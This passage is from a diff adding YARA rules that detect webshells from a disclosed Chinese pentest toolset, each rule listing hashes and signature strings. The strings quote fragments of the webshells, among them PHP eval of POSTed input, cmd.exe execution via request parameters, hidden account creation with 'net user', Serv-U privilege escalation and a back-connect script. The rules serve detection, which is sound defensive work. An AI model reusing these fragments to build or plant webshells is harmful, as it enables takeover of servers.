+		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii
+	condition:
+		uint16(0) == 0x696c and filesize < 6KB and all of them
+}
+
+rule CN_Honker_Webshell_Interception3389_get {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
+	strings:
+		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii /* PEStudio Blacklist: strings */
+		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_nc_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "51d83961171db000fe4476f36d703ef3de409676"
+	strings:
+		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii /* PEStudio Blacklist: agent */
+		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_BlackSky {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
+	strings:
+		$s0 = "eval(gzinflate(base64_decode('" ascii /* PEStudio Blacklist: strings */
+		$s1 = "B1ac7Sky-->" fullword ascii
+	condition:
+		filesize < 641KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "87c5a76989bf08da5562e0b75c196dcb3087a27b"
+	strings:
+		$s1 = "if shellpath=\"\" then shellpath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "c.open \"GET\", \"http://127.0.0.1:\" & port & \"/M_Schumacher/upadmin/s3\", Tru" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 444KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_sniff {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file sniff.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e246256696be90189e6d50a4ebc880e6d9e28dfd"
+	strings:
+		$s1 = "IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "if (!logIt && my_s_smtp && (dport == 25 || sport == 25))" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 91KB and all of them
+}
+
+rule CN_Honker_Webshell_udf_udf {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file udf.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "df63372ccab190f2f1d852f709f6b97a8d9d22b9"
+	strings:
+		$s1 = "<?php // Source  My : Meiam  " fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 430KB and all of them
+}
+
+rule CN_Honker_Webshell_JSP_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.html"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c58fed3d3d1e82e5591509b04ed09cb3675dc33a"
+	strings:
+		$s1 = "<input name=f size=30 value=shell.jsp>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<font color=red>www.i0day.com  By:" fullword ascii
+	condition:
+		filesize < 3KB and all of them
+}
+
+rule CN_Honker_Webshell_T00ls_Lpk_Sethc_v4_mail {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mail.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0a9b7b438591ee78ee573028cbb805a9dbb9da96"
+	strings:
+		$s1 = "if (!$this->smtp_putcmd(\"AUTH LOGIN\", base64_encode($this->user)))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$this->smtp_debug(\"> \".$cmd.\"\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 39KB and all of them
+}
+
+rule CN_Honker_Webshell_phpwebbackup {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file phpwebbackup.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c788cb280b7ad0429313837082fe84e9a49efab6"
+	strings:
+		$s0 = "<?php // Code By isosky www.nbst.org" fullword ascii
+		$s2 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x3f3c and filesize < 67KB and all of them
+}
+
+rule CN_Honker_Webshell_dz_phpcms_phpbb {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file dz_phpcms_phpbb.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "33f23c41df452f8ca2768545ac6e740f30c44d1f"
+	strings:
+		$s1 = "if($pwd == md5(md5($password).$salt))" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "function test_1($password)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = ":\".$pwd.\"\\n---------------------------------\\n\";exit;" fullword ascii
+		$s4 = ":user=\".$user.\"\\n\";echo \"pwd=\".$pwd.\"\\n\";echo \"salt=\".$salt.\"\\n\";" fullword ascii
+	condition:
+		filesize < 22KB and all of them
+}
+
+rule CN_Honker_Webshell_picloaked_1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file 1.gif"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3eab1798cbc9ab3b2c67d3da7b418d07e775db70"
+	strings:
+		$s0 = "<?php eval($_POST[" ascii /* PEStudio Blacklist: strings */
+		$s1 = ";<%execute(request(" ascii /* PEStudio Blacklist: strings */
+		$s3 = "GIF89a" fullword ascii /* Goodware String - occured 318 times */
+	condition:
+		filesize < 6KB and 2 of them
+}
+
+rule CN_Honker_Webshell_assembly {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file assembly.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2bcb4d22758b20df6b9135d3fb3c8f35a9d9028e"
+	strings:
+		$s0 = "response.write oScriptlhn.exec(\"cmd.exe /c\" & request(\"c\")).stdout.readall" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php8 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php8.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b7b49f1d6645865691eccd025e140c521ff01cce"
+	strings:
+		$s0 = "<a href=\"http://hi.baidu.com/ca3tie1/home\" target=\"_blank\">Ca3tie1's Blog</a" ascii /* PEStudio Blacklist: strings */
+		$s1 = "function startfile($path = 'dodo.zip')" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form name=\"myform\" method=\"post\" action=\"\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "$_REQUEST[zipname] = \"dodozip.zip\"; " fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 25KB and 2 of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_xx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file xx.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2f39f1d9846ae72fc673f9166536dc21d8f396aa"
+	strings:
+		$s0 = "$mysql.=\"insert into `$table`($keys) values($vals);\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "$mysql_link=@mysql_connect($mysql_servername , $mysql_username , $mysql_password" ascii /* PEStudio Blacklist: strings */
+		$s16 = "mysql_query(\"SET NAMES gbk\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 2KB and all of them
+}
+
+rule CN_Honker_Webshell_JSPMSSQL {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file JSPMSSQL.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c6b4faecd743d151fe0a4634e37c9a5f6533655f"
+	strings:
+		$s1 = "<form action=\"?action=operator&cmd=execute\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String sql = request.getParameter(\"sqlcmd\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 35KB and all of them
+}
+
+rule CN_Honker_Webshell_Injection_Transit_jmPost {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jmPost.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f80ec26bbdc803786925e8e0450ad7146b2478ff"
+	strings:
+		$s1 = "response.write  PostData(JMUrl,JmStr,JmCok,JmRef)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "JmdcwName=request(\"jmdcw\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_web_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file web.asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "aebf6530e89af2ad332062c6aae4a8ca91517c76"
+	strings:
+		$s0 = "<FORM method=post target=_blank>ShellUrl: <INPUT " fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "\" >[Copy code]</a> 4ngr7&nbsp; &nbsp;</td>" fullword ascii
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule CN_Honker_Webshell_wshell_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file wshell-asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4a0afdf5a45a759c14e99eb5315964368ca53e9c"
+	strings:
+		$s1 = "file1.Write(\"<%response.clear:execute request(\\\"root\\\"):response.End%>\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "hello word !  " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "root.asp " fullword ascii
+	condition:
+		filesize < 5KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp404 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp404.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bed51971288aeabba6dabbfb80d2843ec0c4ebf6"
+	strings:
+		$s0 = "temp1 = Len(folderspec) - Len(server.MapPath(\"./\")) -1" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<form name=\"form1\" method=\"post\" action=\"<%= url%>?action=chklogin\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td>&nbsp;<a href=\"<%=tempurl+f1.name%>\" target=\"_blank\"><%=f1.name%></a></t" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 113KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_asp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U asp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cee91cd462a459d31a95ac08fe80c70d2f9c1611"
+	strings:
+		$s1 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<td><input name=\"c\" type=\"text\" id=\"c\" value=\"cmd /c net user goldsun lov" ascii /* PEStudio Blacklist: strings */
+		$s3 = "deldomain = \"-DELETEDOMAIN\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \" PortNo=\"" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_cfm_list {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file list.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "85d445b13d2aef1df3b264c9b66d73f0ff345cec"
+	strings:
+		$s1 = "<TD><a href=\"javascript:ShowFile('#mydirectory.name#')\">#mydirectory.name#</a>" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<TD>#mydirectory.size#</TD>" fullword ascii
+	condition:
+		filesize < 10KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf12e1d741075cd1bd324a143ec26c732a241dea"
+	strings:
+		$s1 = "$OOO0O0O00=__FILE__;$OOO000000=urldecode('" ascii /* PEStudio Blacklist: strings */
+		$s2 = "<?php // Black" fullword ascii
+	condition:
+		filesize < 12KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_oracle {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file oracle.jsp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "fc7043aaac0ee2d860d11f18ddfffbede9d07957"
+	strings:
+		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "String user=\"oracle_admin\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "String sql=\"SELECT 1,2,3,4,5,6,7,8,9,10 from user_info\";" fullword ascii
+	condition:
+		filesize < 7KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "200a8f15ffb6e3af31d28c55588003b5025497eb"
+	strings:
+		$s4 = "File.Delete(cdir.FullName + \"\\\\test\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "start<asp:TextBox ID=\"Fport_TextBox\" runat=\"server\" Text=\"c:\\\" Width=\"60" ascii /* PEStudio Blacklist: strings */
+		$s6 = "<div>Code By <a href =\"http://www.hkmjj.com\">Www.hkmjj.Com</a></div>" fullword ascii
+	condition:
+		filesize < 11KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8378619b2a7d446477946eabaa1e6744dec651c1"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii /* PEStudio Blacklist: strings */
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii /* PEStudio Blacklist: strings */
+		$s2 = "td.Text=\"<a href=\\\"javascript:Bin_PostBack('urJG','\"+dt.Rows[j][\"ProcessID" ascii /* PEStudio Blacklist: strings */
+		$s3 = "vyX.Text+=\"<a href=\\\"javascript:Bin_PostBack('Bin_Regread','\"+MVVJ(rootkey)+" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 353KB and 2 of them
+}
+
+rule CN_Honker_Webshell_su7_x_9_x {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file su7.x-9.x.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "808396b51023cc8356f8049cfe279b349ca08f1a"
+	strings:
+		$s0 = "returns=httpopen(\"LoginID=\"&user&\"&FullName=&Password=\"&pass&\"&ComboPasswor" ascii /* PEStudio Blacklist: strings */
+		$s1 = "returns=httpopen(\"\",\"POST\",\"http://127.0.0.1:\"&port&\"/Admin/XML/User.xml?" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 59KB and all of them
+}
+
+rule CN_Honker_Webshell_cfmShell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file cfmShell.cfm"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "740796909b5d011128b6c54954788d14faea9117"
+	strings:
+		$s0 = "<cfexecute name=\"C:\\Winnt\\System32\\cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<cfif FileExists(\"#GetTempDirectory()#foobar.txt\") is \"Yes\">" fullword ascii
+	condition:
+		filesize < 4KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_asp4 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file asp4.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "4005b83ced1c032dc657283341617c410bc007b8"
+	strings:
+		$s2 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "Response.Cookies(Cookie_Login) = sPwd" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 150KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_2_admin_by_lake2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U 2 admin by lake2.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cb8039f213e611ab2687edd23e63956c55f30578"
+	strings:
+		$s1 = "xPost3.Open \"POST\", \"http://127.0.0.1:\"& port &\"/lake2\", True" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "response.write \"FTP user lake  pass admin123 :)<br><BR>\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "<p>Serv-U Local Get SYSTEM Shell with ASP" fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "\"-HomeDir=c:\\\\\" & vbcrlf & \"-LoginMesFile=\" & vbcrlf & \"-Disable=0\" & vb" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 17KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "e2924cb0537f4cdfd6f1bd44caaaf68a73419b9d"
+	strings:
+		$s1 = "} elseif(@is_resource($f = @popen($cfe,\"r\"))) {" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cf('/tmp/.bc',$back_connect);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 8KB and all of them
+}
+
+rule CN_Honker_Webshell_Serv_U_by_Goldsun {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file Serv-U_by_Goldsun.asp"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "d4d7a632af65a961a1dbd0cff80d5a5c2b397e8c"
+	strings:
+		$s1 = "b.open \"GET\", \"http://127.0.0.1:\" & ftpport & \"/goldsun/upadmin/s2\", True," ascii /* PEStudio Blacklist: strings */
+		$s2 = "newuser = \"-SETUSERSETUP\" & vbCrLf & \"-IP=0.0.0.0\" & vbCrLf & \"-PortNo=\" &" ascii /* PEStudio Blacklist: strings */
+		$s3 = "127.0.0.1:<%=port%>," fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "GName=\"http://\" & request.servervariables(\"server_name\")&\":\"&request.serve" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_Webshell_PHP_php10 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php10.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3698c566a0ae07234c8957112cdb34b79362b494"
+	strings:
+		$s1 = "dumpTable($N,$M,$Hc=false){if($_POST[\"format\"]!=\"sql\"){echo\"\\xef\\xbb\\xbf" ascii /* PEStudio Blacklist: strings */
+		$s2 = "';if(DB==\"\"||!$od){echo\"<a href='\".h(ME).\"sql='\".bold(isset($_GET[\"sql\"]" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 600KB and all of them
+}
+rule CN_Honker_Webshell_Serv_U_servu {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file servu.php"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7de701b86820096e486e64ca34f1fa9f2fbba641"
+	strings:
+		$s0 = "fputs ($conn_id, \"SITE EXEC \".$dir.\"cmd.exe /c \".$cmd.\"\\r\\n\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "function ftpcmd($ftpport,$user,$password,$dir,$cmd){" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 41KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "412ed15eb0d24298ba41731502018800ffc24bfc"
+	strings:
+		$s0 = "final String remoteIP =request.getParameter(\"remoteIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "final String localIP = request.getParameter(\"localIP\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s20 = "final String localPort = \"3390\";//request.getParameter(\"localPort\");" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 23KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "95db7a60f4a9245ffd04c4d9724c2745da55e9fd"
+	strings:
+		$s0 = "if (password.Equals(this.txtPass.Text))" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "<head runat=\"server\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = ":<asp:TextBox runat=\"server\" ID=\"txtPass\" Width=\"400px\"></asp:TextBox>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "this.lblthispath.Text = Server.MapPath(Request.ServerVariables[\"PATH_INFO\"]);" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x253c and filesize < 9KB and all of them
+}
+
+rule CN_Honker_Webshell_ASP_hy2006a {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file hy2006a.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "20da92b2075e6d96636f883dcdd3db4a38c01090"
+	strings:
+		$s15 = "Const myCmdDotExeFile = \"command.com\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s16 = "If LCase(appName) = \"cmd.exe\" And appArgs <> \"\" Then" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 406KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php1 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php1.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c2f4b150f53c78777928921b3a985ec678bfae32"
+	strings:
+		$s7 = "$sendbuf = \"site exec \".$_POST[\"SUCommand\"].\"\\r\\n\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s8 = "elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_c" ascii /* PEStudio Blacklist: strings */
+		$s18 = "echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 621KB and all of them
+}
+
+rule CN_Honker_Webshell_jspshell2 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jspshell2.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cc7bc1460416663012fc93d52e2078c0a277ff79"
+	strings:
+		$s10 = "if (cmd == null) cmd = \"cmd.exe /c set\";" fullword ascii /* PEStudio Blacklist: strings */
+		$s11 = "if (program == null) program = \"cmd.exe /c net start > \"+SHELL_DIR+\"/Log.txt" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 424KB and all of them
+}
+
+rule CN_Honker_Webshell_Tuoku_script_mysql {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file mysql.aspx"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "8e242c40aabba48687cfb135b51848af4f2d389d"
+	strings:
+		$s1 = "txtpassword.Attributes.Add(\"onkeydown\", \"SubmitKeyClick('btnLogin');\");" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "connString = string.Format(\"Host = {0}; UserName = {1}; Password = {2}; Databas" ascii /* PEStudio Blacklist: strings */condition:
+		filesize < 202KB and all of them
+}
+
+rule CN_Honker_Webshell_PHP_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file php9.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cd3962b1dba9f1b389212e38857568b69ca76725"
+	strings:
+		$s1 = "Str[17] = \"select shell('c:\\windows\\system32\\cmd.exe /c net user b4che10r ab" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1087KB and all of them
+}
+
+rule CN_Honker_Webshell_portRecall_jsp {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file jsp.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "65e8e4d13ad257c820cad12eef853c6d0134fce8"
+	strings:
+		$s0 = "lcx.jsp?localIP=202.91.246.59&localPort=88&remoteIP=218.232.111.187&remotePort=2" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_aspx3 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file aspx3.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dd61481771f67d9593214e605e63b62d5400c72f"
+	strings:
+		$s0 = "Process p1 = Process.Start(\"\\\"\" + txtRarPath.Value + \"\\\"\", \" a -y -k -m" ascii /* PEStudio Blacklist: strings */
+		$s12 = "if (_Debug) System.Console.WriteLine(\"\\ninserting filename into CDS:" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 100KB and all of them
+}
+
+rule CN_Honker_Webshell_ASPX_shell_shell {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - file shell.aspx"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1816006827d16ed73cefdd2f11bd4c47c8af43e4"
+	strings:
+		$s0 = "<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cook" ascii /* PEStudio Blacklist: strings */
+		$s1 = "<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 1KB and all of them
+}
+
+rule CN_Honker_Webshell__php1_php7_php9 {
+	meta:
+		description = "Webshell from CN Honker Pentest Toolset - from files php1.txt, php7.txt, php9.txt"
+		author = "Florian Roth"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		super_rule = 1
